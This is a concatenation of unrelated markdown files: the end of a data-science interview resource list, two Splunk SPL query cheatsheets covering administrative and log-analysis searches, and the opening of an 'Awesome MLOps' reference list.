* [Why use ReLU over Sigmoid](https://stats.stackexchange.com/questions/126238/what-are-the-advantages-of-relu-over-sigmoid-function-in-deep-neural-networks) 📘
* [25 Deep Learning Interview Qurstions to test your knowledge](https://towardsdatascience.com/50-deep-learning-interview-questions-part-1-2-8bbc8a00ec61) 📘
* [10 Deep Learning Best Practices to Keep in Mind in 2020](https://nanonets.com/blog/10-best-practices-deep-learning/) 📘
***
## Machine Learning Interpretability
* [Four Questions on Deciphering the World of Machine Learning Models](https://narrativescience.com/resource/blog/machine-learning-models/) 📘
* [Machine Learning Explanaibility - Crash Course by Kaggle](https://www.kaggle.com/learn/machine-learning-explainability) 📘
* [SHAP Values explained simply](https://www.youtube.com/watch?v=VB9uV-x0gtg) 📹
***
## Case Studies
Case studies are extremely important for interviews, below are some resources to practice, think first before looking at the solutions.
* [Dawn of Taxi Aggregators](https://www.analyticsvidhya.com/blog/2016/04/case-study-analytics-interviews-dawn-taxi-aggregators/) 📘
* [Optimizing product prices for an online vendor](https://www.analyticsvidhya.com/blog/2016/07/solving-case-study-optimize-products-price-online-vendor-level-hard/) 📘
* [Tips for a Case-Study Interview](https://workera.ai/resources/data-science-case-study-interview/) 📘
* [Mercari Price Prediction](https://towardsdatascience.com/a-data-science-case-study-with-python-mercari-price-prediction-4e852d95654) 📘
* [End-to-End multiclass Text Classification pipeline](https://mlwhiz.com/blog/2020/05/24/multitextclass/) 📘
* [End-to-End multiclass Image Classification pipeline](https://mlwhiz.com/blog/2020/06/06/multiclass_image_classification_pytorch/) 📘
* [Large Scale Forecasting for 1000+ products - Nagarro](https://www.youtube.com/watch?v=8jfDBD6xlFM) 📹
* [Clustering and Classification in E-Commerce](https://lucidworks.com/post/clustering-classification-supervised-unsupervised-learning-ecommerce/) 📘
* [The ABCs of Learning to Rank](https://lucidworks.com/post/abcs-learning-to-rank/) 📘
* [Data Science Case Study: Optimizing Product Placement in Retail ](https://towardsdatascience.com/data-science-case-study-optimizing-product-placement-in-retail-part-1-2e8b27e16e8d) 📘
***
## NLP
* [30 Questions to test a Data Scientist on NLP](https://www.analyticsvidhya.com/blog/2017/07/30-questions-test-data-scientist-natural-language-processing-solution-skilltest-nlp/)
* [11 Most Commonly Asked NLP Interview Questions For Beginners](https://analyticsindiamag.com/11-most-commonly-asked-nlp-interview-questions-for-beginners/)
* [How to solve 90% of NLP Problems](https://blog.insightdatascience.com/how-to-solve-90-of-nlp-problems-a-step-by-step-guide-fda605278e4e)
* [Questions asked for NLP Roles at Companies](https://medium.com/modern-nlp/nlp-interview-questions-f062040f32f7)
* [Vector-based Methods for Similarity Search (TF-IDF, BM25, SBERT)](https://www.youtube.com/watch?v=ziiF1eFM3_4) 📹
* [Understanding BERT in detail - one of the best playlist's to understand the fundamentals and inner workings of BERT, huge shoutout to Chris McCormick
](https://www.youtube.com/playlist?list=PLam9sigHPGwOBuH4_4fr-XvDbe5uneaf6) 📹
***
## Data Science Interviews at FAANG and Similar Companies
* [Amazon’s Data Scientist Interview Practice Problems](https://towardsdatascience.com/amazon-data-scientist-interview-practice-problems-15b9b86e86c6) 📘
* [Microsoft Data Science Interview Questions and Answers](https://towardsdatascience.com/microsoft-data-science-interview-questions-and-answers-69ccac16bd9b) 📘
* [Problem Solving Questions for Data Science interview at Google](https://towardsdatascience.com/googles-data-science-interview-brain-teasers-7f3c1dc4ea7f) 📘
***
## Becoming a Rockstar Data Scientist(read if you have extra time)
Going through these will definately add extra brownie points, so don't miss these if you got time.
* [Top 13 Skills To Become a Rockstar Data Scientist](https://towardsdatascience.com/top-13-skills-to-become-a-rockstar-data-scientist-faf2f97e655d) 📘
* [Understand these 4 ML concepts to sound like a master](https://towardsdatascience.com/understand-these-4-advanced-concepts-to-sound-like-a-machine-learning-master-d32843840b52) 📘
* [12 things I wish I knew before starting as a Data Scientist](https://medium.com/deliberate-data-science/12-things-i-wish-id-known-before-starting-as-a-data-scientist-45989be6300e) 📘
* [Understand the Data Science pipeline](https://towardsdatascience.com/a-beginners-guide-to-the-data-science-pipeline-a4904b2d8ad3) 📘
* [Kaggle Data Science Glossary](https://www.kaggle.com/shivamb/data-science-glossary-on-kaggle) 📘
* [Google Machine Learning Glossary](https://developers.google.com/machine-learning/glossary/) 📘
* [Running your ML Predictions 50 times faster - Hummingbird](https://mlwhiz.com/blog/2020/06/06/hummingbird_faster_ml_preds/) 📘
* [3 Mistakes you should not make in a Data Science Interview](https://mlwhiz.com/blog/2019/12/24/mistakes/) 📘
* [How to find Feature importances for BlackBox Models?](https://mlwhiz.com/blog/2019/12/04/blackbox/) 📘
***
## Data Structures and Algorithms(Optional)
Although this might be optional, but do not miss this if the Job Description explicitly asks for this, and especially never miss this if you are interviewing at FAANG and similar organizations, or if you have a CS Background. You don't have to be as good as an SDE at this, but at least know the basics.
* [A Data Scientist's guide to Data Structures and Algorithms](https://towardsdatascience.com/a-data-scientists-guide-to-data-structures-algorithms-1176395015a0) 📘
* [Handling Trees in Data Science Algorithmic Interview](https://towardsdatascience.com/handling-trees-in-data-science-algorithmic-interview-ea14dd1b6236) 📘
* [A simple introduction to Linked Lists for Data Scientists](https://mlwhiz.com/blog/2020/01/28/ll/) 📘
* [Dynamic Programming for Data Scientists](https://mlwhiz.com/blog/2020/01/28/dp/) 📘
* [3 Programming concepts for Data Scientists](https://mlwhiz.com/blog/2019/12/09/pc/) 📘
* [Data Scientists, The 5 Graph Algorithms that you should know](https://mlwhiz.com/blog/2019/09/02/graph_algs/) 📘
***
## Engineering and Deployment
* [A Layman’s Guide for Data Scientists to create APIs in minutes](https://mlwhiz.com/blog/2020/06/06/fastapi_for_data_scientists/) 📘
* [Take your Machine Learning Models to Production with these 5 simple steps](https://mlwhiz.com/blog/2019/12/25/prod/) 📘
* [2 way to deploy your ML models](https://towardsdatascience.com/there-are-two-very-different-ways-to-deploy-ml-models-heres-both-ce2e97c7b9b1) 📘
* [How to deploy a Keras model as a web app through Flask](https://towardsdatascience.com/deploying-a-keras-deep-learning-model-as-a-web-application-in-p-fc0f2354a7ff) 📘
* [How to write Web apps using simple Python for Data Scientists?](https://towardsdatascience.com/how-to-write-web-apps-using-simple-python-for-data-scientists-a227a1a01582) 📘
***
## Big Data and Spark
* [55 Apache Spark Interview Questions](https://www.edureka.co/blog/interview-questions/top-apache-spark-interview-questions-2016/) 📘
* [10 Questions you can expect in a Spark Interview](https://medium.com/analytics-vidhya/10-questions-you-can-expect-in-spark-interview-24b89b807dfb) 📘
* [Hive Interview Questions](https://www.tutorialspoint.com/hive/hive_interview_questions.htm) 📘
* [Top 20 Apache Spark Interview Questions](https://www.youtube.com/watch?v=Y8LKEDyA5iY) 📹
* [Spark Interview Questions - The entire playlist](https://www.youtube.com/playlist?list=PLtfmIPhU2DkNjQjL08kR3cd4kUzWqS0vg) 📹
* [Another fabulous Playlist for Spark Interview Questions](https://www.youtube.com/playlist?list=PL9sbKmQTkW05mXqnq1vrrT8pCsEa53std) 📹
* [Practical PySpark tips for Data Scientists](https://towardsdatascience.com/practical-spark-tips-for-data-scientists-145d85e9b2d8) 📘
* [3 Ways to parallelize your code using Spark](https://towardsdatascience.com/3-methods-for-parallelization-in-spark-6a1a4333b473) 📘
* [Datashader - Revealing the Structure of Genuinely Big Data](https://www.youtube.com/watch?v=6m3CFbKmK_c) 📹
* [Lightnings Talk : What one should know about Spark-MLlib](https://www.youtube.com/watch?v=DBxcua0Vmvk) 📹
* [Solving “Container Killed by Yarn For Exceeding Memory Limits” Exception in Apache Spark](https://medium.com/analytics-vidhya/solving-container-killed-by-yarn-for-exceeding-memory-limits-exception-in-apache-spark-b3349685df16) 📘
***
## Some amazing stuff on Python and Spark
You can't afford to miss this if you are interviewing for a Big data role.
* [Improving Python and Spark performance](https://www.youtube.com/watch?v=qIKImANLFtE) 📹
* [High Performance Python on Spark](https://www.youtube.com/watch?v=abZ0f5ug18U) 📹
* [Vectorized UDFs: Scalable Analysis with Python and PySpark](https://www.youtube.com/watch?v=Til-StSDvfA) 📹
***
## General Interview Questions across the Spectrum (Video)
* [Common Data Science Interview Questions - Edureka](https://www.youtube.com/watch?v=tTAieUcNHdY)
* [Common Machine Learning Interview Question - Edureka](https://www.youtube.com/watch?v=t6gOpFLt-Ks)
* [Top 5 algorithms used in Data Science](https://www.youtube.com/watch?v=BfowBtIxNu4)
* [Common Data Science Interview Questions - Analytics University](https://www.youtube.com/watch?v=BfowBtIxNu4)
* [3 types of Data Science Interview Questions](https://www.youtube.com/watch?v=4Z6lxfglvUU)
* [Lessons learned the hard way - Hacking the Data Science Interview](https://www.youtube.com/watch?v=3BRLGRqj8p)
* [What it's like to Interview as a Data Scientist](https://www.youtube.com/watch?v=0HmAEWPfMnM)
* [5 Tips for getting a Data Science Job](https://www.youtube.com/watch?v=MfP-P8EHGBo)
* [8 Frequently used Data Science Algorithms](https://www.youtube.com/watch?v=z3wMgOTSE5s)
* [Scenario Based Practical Interview](https://www.youtube.com/watch?v=bJPhEa3mbwo)
* [KNN v/s K Means](https://www.youtube.com/watch?v=OClrEI_5Ri4)
## General Interview Questions across the Spectrum (Reading)
* [The Data Science Interview Guide](https://towardsdatascience.com/data-science-interview-guide-4ee9f5dc778)
* [Top 30 Data Science Interview Questions](https://towardsdatascience.com/top-30-data-science-interview-questions-7dd9a96d3f5c)
* [35 Important Data Science Interview Questions](https://www.edureka.co/blog/interview-questions/data-science-interview-questions/)
* [100 Data Science Interview Questions across FAANG](https://medium.com/@e22aafa7d95/c5a66186769a)
* [The Most Comprehensive Data Science Interview Guide](https://www.analyticsvidhya.com/blog/2018/06/comprehensive-data-science-machine-learning-interview-guide/)
* [41 essential ML interview questions - Springboard](https://www.springboard.com/blog/machine-learning-interview-questions/)
* [30 days of Data Science Interview Preparation - iNeuron](https://github.com/iNeuronai/interview-question-data-science-)
* [109 Data Science Interview Questions - Springboard](https://www.springboard.com/blog/data-science-interview-questions/)
* [Most asked Data Science interview questions in India - Springboard](https://in.springboard.com/blog/most-asked-data-science-interview-questions-in-india/)
* [List of AI Startups in India and resources for preparing for the interview](https://github.com/theainerd/MLInterview)
* [5 interview questions to predict a good Data Scientist](https://medium.com/predict/five-interview-questions-to-predict-a-good-data-scientist-40d310cdcd68)
* [8 proven ways to improve the accuracy of your ML model ](https://www.analyticsvidhya.com/blog/2015/12/improve-machine-learning-results/)
* [60 Interview Questions on Machine Learning - AnalyticsIndiaMag](https://analyticsindiamag.com/60-interview-questions-on-machine-learning/)
* [The Big List of DS and ML interview Resources](https://towardsdatascience.com/the-big-list-of-ds-ml-interview-resources-2db4f651bd63)
* [100 Basic Data Science Interview Questions along with answers](https://www.dezyre.com/article/100-data-science-interview-questions-and-answers-general-for-2018/184)
* [40 interview questions asked at Startups in ML/DS Interview](https://www.analyticsvidhya.com/blog/2016/09/40-interview-questions-asked-at-startups-in-machine-learning-data-science/)
* [My Data Science/Machine Learning Job Interview Experience : List of DS/ML/DL Questions – Machine Learning in Action](https://appliedmachinelearning.blog/2018/04/13/my-data-science-machine-learning-job-interview-experience-list-of-ds-ml-dl-questions/)
* [How do I prepare for a Data Science phone interview at Airbnb](https://www.quora.com/How-do-I-prepare-for-a-phone-interview-for-a-data-scientist-position-with-Airbnb)
* [Best ML algorithm for regression problems](https://towardsdatascience.com/selecting-the-best-machine-learning-algorithm-for-your-regression-problem-20c330bad4ef)
* [How to ace the In person Data Science Interview](https://towardsdatascience.com/how-to-ace-the-in-person-data-science-interview-584ca11df08a)
* [How to land a Data Scientist job at Airbnb](https://towardsdatascience.com/how-to-land-a-data-scientist-job-at-your-dream-company-my-journey-to-airbnb-f6a1e99892e8)
* [120 Data Science Interview Questions(from all domains)](https://github.com/kojino/120-Data-Science-Interview-Questions)
* [Understanding the Bias-Variance Tradeoff](https://towardsdatascience.com/understanding-the-bias-variance-tradeoff-165e6942b229)
* [You Need these Cheatsheets if you are tackling ML algorithms](https://medium.freecodecamp.org/you-need-these-cheat-sheets-if-youre-tackling-machine-learning-algorithms-45da5743888e)
* [Red Flags in a Data Science Interview](https://towardsdatascience.com/red-flags-in-data-science-interviews-4f492bbed4c4)
* [A Data Scientist's take on Interview Questions](https://towardsdatascience.com/my-take-on-data-scientist-interview-questions-part-1-6df22252b2e8)
* [What is Cross Entropy(Nice and Short Explanation)](https://stackoverflow.com/questions/41990250/what-is-cross-entropy/41990932#41990932)
* [What does an ideal Data Scientist's profile look like](https://towardsdatascience.com/what-does-an-ideal-data-scientists-profile-look-like-7d7bd78ff7ab)
* [25 Fun Questions for a Machine Learning interview](https://medium.com/analytics-vidhya/25-fun-questions-for-a-machine-learning-interview-373b744a4faa)
* [How to Prepare for Machine Learning Interviews](https://towardsdatascience.com/how-to-prepare-for-machine-learning-interviews-5fac3db58168)
* [How to develop a Machine Learning Model from scratch](https://towardsdatascience.com/machine-learning-general-process-8f1b510bd8af)
* [End to End guide for a Machine Learning Project](https://medium.com/fintechexplained/end-to-end-guide-for-machine-learning-project-146c288186dc)
* [Classification v/s Regression](https://medium.com/fintechexplained/supervised-machine-learning-regression-vs-classification-18b2f97708de)
* [Must Know mathematical measures for Every Data Scientist](https://medium.com/fintechexplained/must-know-mathematical-measures-for-data-scientist-15bfc4f7f39c)
* [Where did the least square come from](https://towardsdatascience.com/where-did-the-least-square-come-from-3f1abc7f7caf)
* [Regularization in Machine Learning - Explained](https://towardsdatascience.com/regularization-in-machine-learning-76441ddcf99a)
***
## Interesting Reads
* [3 Common Data Science Career Transitions and how to make them happen](https://towardsdatascience.com/3-common-data-science-career-transitions-and-how-to-make-them-happen-588c3618942f)
* [Navigating the Data Science Career Landscape](https://hackernoon.com/navigating-the-data-science-career-landscape-db746a61ac62)
* [Which model and how much data](https://towardsdatascience.com/which-model-and-how-much-data-75a3999660f3)
|
# Splunk Queries
I **really** don't like Splunk documentation. Why is it so hard to find out how to do a certain action? So this is a cheatsheet that I constructed to help me quickly gain knowledge that I need.
## Analysis
### Events over time
```
index="my_log"
| bin span=1hr _time
| stats count by _time
```
OR
```
index="my_log"
| timechart count span=1hr
```
## Arrays
### Does an array contain a specific value?
```
"array_name{}"=value
# Nested arrays
"dictionary_name.array_name{}.dictionary2.deep_nested_array{}"=value
```
### Extracting values from an array
```
eval variable_name=mvindex('array_name{}', array_index)
```
## Strings
### String Matching (with whitespace supression)
If you're unable to match field values as you expect, extract the non-whitespace values from the field and compare against that instead.
For example, in the below example, `context.messageStatus` may contain whitespace, so Splunk won't capture them with a standard `=`. Instead, we need to do the following:
```
index="my_log"
| rex field=context.MessageStatus "(?<messageStatus>\w+)"
| eval status=if(messageStatus = "undelivered", "fail", "success")
| search status="success"
```
If you're trying to get multiple matches, use `max_match`, where `max_match=0` finds unlimited matches.
### String Replacement
```
rex mode=sed field=your_field "regex_statement"
# This is especially handy when you want to ignore whitespace!
# Example:
# rex mode=sed field=my_field "s/ //g"
```
### String Concatenation
```
eval variable_name = "string1" . "string2"
# This is just like PHP
# Example:
# eval word = "foo" . "bar" | table word
#
# Output:
# word
# ----
# foobar
```
### Substrings
```
eval variable_name = substr(variable, start_index, length)
# Example:
# eval word = "foobar" | eval short = substr(word, 1, 3) | table short
#
# Output:
# short
# -----
# oob
```
## eval
Trying to use a nested value in a dictionary, in an eval statement? Use **rename** first!
```
Example Entry:
{
"signals": {
"ip_address": "1.2.3.4",
},
}
Query:
| rename signals.ip_address as ip_addr
| eval ip_addr=if(isnull(ip_addr), "null", ip_addr)
```
## Working with Multiple Queries
### Subsearch
This is used for funneling the output of one splunk query, into another query. However, some older splunk versions do not support it. However, there are other ways to formulate your query! See [this link](https://answers.splunk.com/answers/129424/how-to-compare-fields-over-multiple-sourcetypes-without-join-append-or-use-of-subsearches.html) for inspiration.
```
Example Logs:
nginx_logs
----------
{
"useragent": "Chrome",
"status": 200,
"user": "random-hash",
}
api_logs
--------
{
"endpoint": "/userinfo",
"request-id": "random-hash",
}
Objective: Find out the useragent
Query:
index=*
(endpoint="/userinfo" AND request-id="random-hash") OR user="random-hash"
| stats count by useragent
Explanation:
This searches all logs and tries to cross-reference a request-id from `api_logs`, and
searches for its useragent from `nginx_logs`. Note that the search parameters for the
log in `api_logs` should be as unique as possible, so that it won't pull information
from other logs.
```
### Joins
Joins are handy, when they work. This is a semi-complicated example I've used:
```
Example Logs:
suspicious_ips
--------------
{
"ip_address": "1.2.3.4",
}
valid_ips
-----------
{
"ip_address": "1.2.3.4",
}
Objective: Determine which IPs in `suspicious_ips` have NOT been logged in `valid_ips`.
Query:
sourcetype=suspicious_ips
| join type=left ip_address [
search search_name=valid_ips
| stats count by ip_address, search_name
]
| search NOT search_name=valid_ips
```
When doing this, **remember to put `search` in the subsearch**! Otherwise, it won't work at all.
## Filtering
### NOT v !=
This is so lame, and is such a gotcha. [Original source](http://docs.splunk.com/Documentation/Splunk/7.0.2/Search/NOTexpressions).
Turns out, empty string is considered "not existing". Which means, if you have a column of either empty string, or value, and you want to get empty strings only, **use NOT** rather than !=.
## Formatting
I like things looking nice. Often this also means better usability, as it takes less mental energy to parse output
meant for machines. However, Splunk is a **terrible** means to nicely format output, especially when trying to send
this output downstream (like JIRA).
Through lots of trial and error, I have found these patterns to work nicely:
- Use `rex` to extract values
- Use `eval` to assign temporary variables
- Use `mvexpand` to split multiple results from `rex` into their own separate rows
- Use `stats list(<field_to_combine>) as <new_name_for_field> by <params_you_want_to_group_together>`
to combine rows.
- Use `nomv` to teach JIRA to recognize multi-value rows, then use `rex` to replace spaces with new lines.
IMPORTANT: Even though Splunk does not show the new lines, it will come out as expeected in JIRA!
## Miscellaneous Gotchas
### Using rename
For some wacky reason,
```
stats count by data.user as user
```
is not the same as
```
stats count by data.user | rename data.user to user
```
The **latter** works as expected. I guess learning this method is always better, since it also works
when trying to count by multiple items.
```
stats count by data.user, data.email | rename data.user to user
```
## References
* Useful [other eval functions](http://docs.splunk.com/Documentation/Splunk/6.2.1/SearchReference/CommonEvalFunctions).
# Splunk Queries
## Getting Errors
```
index=<index>
AND CASE("ERROR")
```
## Java Exceptions & Stack Traces
```
index=<index>
| transaction startswith="CASE("ERROR")" maxevents=250 mvlist=true
| table message
```
## Get Errors group by Count
```
index=<index>
AND (error OR exception)
| table message
| eval message=replace(message,"\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}\.\d*\s","")
| stats count by message
| sort -count
```
##
#
https://splunkonbigdata.com/top-10-used-and-popular-splunk-queries/
#
##
In this blog, we gonna show you the top 10 most used and familiar Splunk queries. So let’s start.
List of Login attempts of splunk local users
Follow the below query to find how can we get the list of login attempts by the Splunk local user using SPL.
index=_audit action="login attempt"
| stats count by user info action _time
| sort - info
2. License usage by index
index=_internal source=*license_usage.log type="Usage" splunk_server=*
| eval Date=strftime(_time, "%Y/%m/%d")
| eventstats sum(b) as volume by idx, Date
| eval MB=round(volume/1024/1024,5)
| timechart first(MB) AS volume by idx
3. List of Forwarders Installed
index="_internal" sourcetype=splunkd group=tcpin_connections NOT eventType=*
| eval Hostname=if(isnull(hostname), sourceHost,hostname),version=if(isnull(version),"pre 4.2",version),architecture=if(isnull(arch),"n/a",arch)
| stats count by Hostname version architecture
| sort + version
4. Splunk users search activity
index=_audit splunk_server=local action=search (id=* OR search_id=*)
| eval search_id = if(isnull(search_id), id, search_id)
| replace '*' with * in search_id
| rex "search='search\s(?<search>.*?)',\sautojoin"
| search search_id!=scheduler_*
| convert num(total_run_time)
| eval user = if(user="n/a", null(), user)
| stats min(_time) as _time first(user) as user max(total_run_time) as total_run_time first(search) as search by search_id
| search search!=*_internal* search!=*_audit*
| chart sum(total_run_time) as "Total search time" count as "Search count" max(_time) as "Last use" by user
| fieldformat "Last use" = strftime('Last use', "%F %T.%Q")
5. Search History
index=_audit action=search sourcetype=audittrail search_id=* NOT (user=splunk-system-user) search!="'typeahead*"
| rex "search\=\'(search|\s+)\s(?P<search>[\n\S\s]+?(?=\'))"
| rex field=search "sourcetype\s*=\s*\"*(?<SourcetypeUsed>[^\s\"]+)"
| rex field=search "index\s*=\s*\"*(?<IndexUsed>[^\s\"]+)"
| stats latest(_time) as Latest by user search SourcetypeUsed IndexUsed
| convert ctime(Latest)
6. Advanced query for saved searches information
index=_internal sourcetype=scheduler result_count
| extract pairdelim=",", kvdelim="=", auto=f
| stats avg(result_count) min(result_count) max(result_count), sparkline avg(run_time) min(run_time) max(run_time) sum(run_time) values(host) AS hosts count AS execution_count by savedsearch_name, app
| join savedsearch_name type=outer
[| rest /servicesNS/-/-/saved/searches
| fields title eai:acl.owner cron_schedule dispatch.earliest_time dispatch.latest_time search
| rename title AS savedsearch_name eai:acl.app AS App eai:acl.owner AS Owner cron_schedule AS "Cron Schedule" dispatch.earliest_time AS "Dispatch Earliest Time" dispatch.latest_time AS "Dispatch Latest Time"]
| rename savedsearch_name AS "Saved Search Name" search AS "SPL Query" app AS App
| makemv delim="," values(host)
| sort - avg(run_time)
| table "Saved Search Name", App, Owner, "SPL Query" "Cron Schedule" hosts, execution_count, sparkline, *(result_count), sum(run_time) *(run_time)
7. Users detail information
Suggestions: “Metadata vs Metasearch“
| rest splunk_server=local /services/authentication/users | rename title as username | mvexpand roles | table realname, username, roles, email
| join type=outer roles [ rest splunk_server=local /services/authorization/roles | rename title as roles | eval ir=imported_roles | search srchIndexesAllowed=* | fields roles imported_roles ir srchIndexesAllowed srchIndexesDefault | mvexpand ir]
| foreach srchIndexesAllowed
[ eval srchIndexesAllowed=replace(<<FIELD>>,"^_\*$","[all internal indexes];")
| eval srchIndexesAllowed=replace(<<FIELD>>,"\*\s_\*","[all internal and non-internal indexes];")
| eval srchIndexesAllowed=replace(<<FIELD>>,"\*\s","[all non-internal indexes];")
| eval srchIndexesAllowed=replace(<<FIELD>>,"\*$","[all non-internal indexes];")
]
| foreach srchIndexesDefault
[ eval srchIndexesDefault=replace(<<FIELD>>,"_\*","[all internal indexes];")
| eval srchIndexesDefault=replace(<<FIELD>>,"\*\s_\*","[all internal and non-internal indexes];")
| eval srchIndexesDefault=replace(<<FIELD>>,"\*\s","[all non-internal indexes];")
| eval srchIndexesDefault=replace(<<FIELD>>,"\*$","[all non-internal indexes];")
]
| join type=outer ir
[ | rest splunk_server=local /services/authorization/roles | fields - imported_roles
| rename title as ir
| mvexpand srchIndexesAllowed
| eval inheritedAllowed=if(idxtype=="Invalid","",srchIndexesAllowed." (by ".ir.");")
| stats values(inheritedAllowed) as inheritedAllowed by ir ]
| fields - ir, splunk_server
| makemv allowempty=t inheritedAllowed delim=";"
| makemv allowempty=t srchIndexesAllowed delim=";"
| makemv allowempty=t srchIndexesDefault delim=";"
| rename srchIndexesDefault TO "Searched by default", srchIndexesAllowed TO "AllowedIndexes by Role", inheritedAllowed TO "AllowedIndexes by Inheritance", imported_roles TO "Inherited Roles"
8. All props and transforms information in detail
| rest /servicesNS/-/-/admin/directory count=0 splunk_server=local | fields eai:acl.app, eai:acl.owner, eai:acl.perms.*, eai:acl.sharing, title, eai:type, disabled
| foreach eai:*.*
[ rename "<<FIELD>>" TO <<MATCHSEG2>> ]
| foreach eai:*
[ rename "<<FIELD>>" TO <<MATCHSTR>> ]
| eval attribute=replace(title,"(.*:\s+)(.*)","\2")
| eval st=replace(title,"(.*)(\s+:.*)","\1")
| eval props_sourcetype=if(st==attribute,"",st)
| join type=outer attribute
[| rest /servicesNS/-/-/admin/props-extract count=0 splunk_server=local | fields attribute value stanza type | rename value TO props_value, stanza to props_stanza, type to props_type ]
| join type=outer attribute
[| rest /servicesNS/-/-/admin/transforms-extract count=0 splunk_server=local
| fields REGEX FORMAT disabled eai:acl.app title FIELDS
| makemv delim="," FIELDS
| rename FIELDS to tf_fields, disabled to tf_disabled, REGEX to tf_regex, FORMAT to tf_format, title to attribute, eai:acl.app to tf_app]
| fillnull disabled tf_disabled
| table disabled app type attribute props_type props_stanza props_value props_sourcetype tf_disabled tf_format tf_fields tf_regex sharing perms.* location owner | search (app="*" AND (sharing="*")) AND disabled=*
| rename attribute TO "Object Name"
9. Dashboards access information
| rest /servicesNS/-/-/data/ui/views splunk_server=*
| search isDashboard=1
| rename eai:acl.app as app
| fields title app
| join type=left title
[| search index=_internal sourcetype=splunk_web_access host=* user=*
| rex field=uri_path ".*/(?<title>[^/]*)$"
| stats latest(_time) as Time latest(user) as user by title
]
| where isnotnull(Time)
| eval Now=now()
| eval "Days since last accessed"=round((Now-Time)/86400,2)
| sort - "Days since last accessed"
| convert ctime(Time)
| fields - Now
10. Bucket count by index
Follow the below query to find how can we get the count of buckets available for each and every index using SPL.
You can also know about : How To Track User Activity ( Modifications of dashboards , Permission Changes etc) In Splunk
Suggestions: “dbinspect“
|dbinspect index=* | chart dc(bucketId) over splunk_server by index
Hope you enjoyed this blog “10 most used and familiar Splunk queries“, see you on the next one. Stay tune.
Happy Splunking!!
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|
# Awesome MLOps [](https://github.com/sindresorhus/awesome) [](https://github.com/chetanraj/awesome-github-badges)
*An awesome list of references for MLOps - Machine Learning Operations :point_right: [ml-ops.org](https://ml-ops.org/)*
**Join us at the "Women+ in Data and AI Summer Festival". Featuring 100% female+ speakers. Everyone is welcome. June 30th at Berlin Radialsystem. Tickets :point_right: [women-in-data-ai.tech](https://women-in-data-ai.tech)**
# Table of Contents
| <!-- --> | <!-- --> |
| -------------------------------- | -------------------------------- |
| [MLOps Core](#core-mlops) | [MLOps Communities](#mlops-communities) |
| [MLOps Books](#mlops-books) | [MLOps Articles](#mlops-articles) |
| [MLOps Workflow Management](#wfl-management)| [MLOps: Feature Stores](#feature-stores) |
|[MLOps: Data Engineering (DataOps)](#dataops) | [MLOps: Model Deployment and Serving](#deployment) |
| [MLOps: Testing, Monitoring and Maintenance](#testing-monintoring)| [MLOps: Infrastructure](#mlops-infra)|
|[MLOps Papers](#mlops-papers) | [Talks About MLOps](#talks-about-mlops) |
| [Existing ML Systems](#existing-ml-systems) | [Machine Learning](#machine-learning)|
| [Software Engineering](#software-engineering) | [Product Management for ML/AI](#product-management-for-mlai) |
| [The Economics of ML/AI](#the-economics-of-mlai) | [Model Governance, Ethics, Responsible AI](#ml-governance) |
| [MLOps: People & Processes](#teams)|[Newsletters About MLOps, Machine Learning, Data Science and Co.](#newsletters)|
<a name="core-mlops"></a>
# MLOps Core
<details>
<summary>Click to expand!</summary>
1. [Machine Learning Operations: You Design It, You Train It, You Run It!](https://ml-ops.org/)
1. [MLOps SIG Specification](https://github.com/tdcox/mlops-roadmap/blob/master/MLOpsRoadmap2020.md)
1. [ML in Production](http://mlinproduction.com/)
1. [Awesome production machine learning: State of MLOps Tools and Frameworks](https://github.com/EthicalML/awesome-production-machine-learning)
1. [Udemy “Deployment of ML Models”](https://www.udemy.com/course/deployment-of-machine-learning-models/)
1. [Full Stack Deep Learning](https://course.fullstackdeeplearning.com/)
1. [Engineering best practices for Machine Learning](https://se-ml.github.io/practices/)
1. [:rocket: Putting ML in Production](https://madewithml.com/courses/putting-ml-in-production/)
1. [Stanford MLSys Seminar Series](https://mlsys.stanford.edu/)
1. [IBM ML Operationalization Starter Kit](https://github.com/ibm-cloud-architecture/refarch-ml-ops)
1. [Productize ML. A self-study guide for Developers and Product Managers building Machine Learning products.](https://productizeml.gitbook.io/productize-ml/)
1. [MLOps (Machine Learning Operations) Fundamentals on GCP](https://www.coursera.org/learn/mlops-fundamentals)
1. [ML full Stack preparation](https://www.confetti.ai/)
1. [MLOps Guide: Theory and Implementation](https://mlops-guide.github.io/)
1. [Practitioners guide to MLOps: A framework for continuous delivery and automation of machine learning.](https://services.google.com/fh/files/misc/practitioners_guide_to_mlops_whitepaper.pdf)
</details>
<a name="mlops-communities"></a>
# MLOps Communities
<details>
<summary>Click to expand!</summary>
1. [MLOps.community](https://mlops.community/)
1. [CDF Special Interest Group - MLOps](https://github.com/cdfoundation/sig-mlops)
1. [RsqrdAI - Robust and Responsible AI](https://www.rsqrdai.org)
1. [DataTalks.Club](https://datatalks.club/)
1. [Synthetic Data Community](https://syntheticdata.community/)
1. [MLOps World Community](https://www.mlopsworld.com)
</details>
<a name="mlops-courses"></a>
# MLOps Courses
1. [MLOps Zoomcamp (free)](https://github.com/DataTalksClub/mlops-zoomcamp)
2. [Coursera's Machine Learning Engineering for Production (MLOps) Specialization](https://www.coursera.org/specializations/machine-learning-engineering-for-production-mlops)
3. [Udacity Machine Learning DevOps Engineer](https://www.udacity.com/course/machine-learning-dev-ops-engineer-nanodegree--nd0821)
<a name="mlops-books"></a>
# MLOps Books
<details>
<summary>Click to expand!</summary>
1. [“Machine Learning Engineering” by Andriy Burkov, 2020](http://www.mlebook.com/wiki/doku.php?id=start)
1. ["ML Ops: Operationalizing Data Science" by David Sweenor, Steven Hillion, Dan Rope, Dev Kannabiran, Thomas Hill, Michael O'Connell](https://learning.oreilly.com/library/view/ml-ops-operationalizing/9781492074663/)
1. ["Building Machine Learning Powered Applications" by Emmanuel Ameisen](https://learning.oreilly.com/library/view/building-machine-learning/9781492045106/)
1. ["Building Machine Learning Pipelines" by Hannes Hapke, Catherine Nelson, 2020, O’Reilly](https://learning.oreilly.com/library/view/building-machine-learning/9781492053187/)
1. ["Managing Data Science" by Kirill Dubovikov](https://www.packtpub.com/eu/data/managing-data-science)
1. ["Accelerated DevOps with AI, ML & RPA: Non-Programmer's Guide to AIOPS & MLOPS" by Stephen Fleming](https://www.amazon.com/Accelerated-DevOps-AI-RPA-Non-Programmers-ebook/dp/B07ZMJCJRS)
1. ["Evaluating Machine Learning Models" by Alice Zheng](https://learning.oreilly.com/library/view/evaluating-machine-learning/9781492048756/)
1. [Agile AI. 2020. By Carlo Appugliese, Paco Nathan, William S. Roberts. O'Reilly Media, Inc.](https://learning.oreilly.com/library/view/agile-ai/9781492074984/)
